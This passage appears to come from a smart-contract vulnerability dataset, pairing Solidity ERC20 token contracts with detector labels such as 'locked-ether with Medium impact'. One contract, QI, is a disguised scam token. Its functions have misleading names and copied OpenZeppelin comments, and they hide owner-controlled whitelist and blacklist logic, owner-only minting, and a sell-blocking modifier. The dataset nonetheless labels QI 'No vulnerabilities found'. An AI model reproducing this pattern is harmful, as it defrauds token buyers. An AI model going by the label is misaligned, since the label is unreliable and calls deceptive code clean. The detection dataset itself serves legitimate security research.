require(_amount > 0 && balances[_to].add(_amount) > balances[_to]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _amount The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title COOSPAY Token
* @dev Token representing COOSPAY.
*/
contract COOSPAYToken is MintableToken {
string public name ;
string public symbol ;
uint8 public decimals = 18 ;
/**
*@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller
*/
function ()public payable {
revert();
}
/**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
* @param initialSupply The initial supply of tokens which will be fixed through out
* @param tokenName The name of the token
* @param tokenSymbol The symboll of the token
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol) public {
totalSupply = initialSupply.mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount
name = tokenName;
symbol = tokenSymbol;
balances[msg.sender] = totalSupply;
//Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view returns (string, string, uint256) {
return (name, symbol, totalSupply);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-04-22
*/
pragma solidity ^0.6.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract QI is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract BAGToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function BAGToken() public {
symbol = "BAG";
name = "Bagholder";
decimals = 8;
_totalSupply = 10000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
}
}
contract ERC20 {
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address who) public view returns(uint256);
function transfer(address to, uint256 value) public returns(bool);
function transferFrom(address from, address to, uint256 value) public returns(bool);
function allowance(address owner, address spender) public view returns(uint256);
function approve(address spender, uint256 value) public returns(bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function StandardToken(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function balanceOf(address _owner) public view returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function multiTransfer(address[] _to, uint256[] _value) public returns(bool) {
require(_to.length == _value.length);
for(uint i = 0; i < _to.length; i++) {
transfer(_to[i], _value[i]);
}
return true;
}
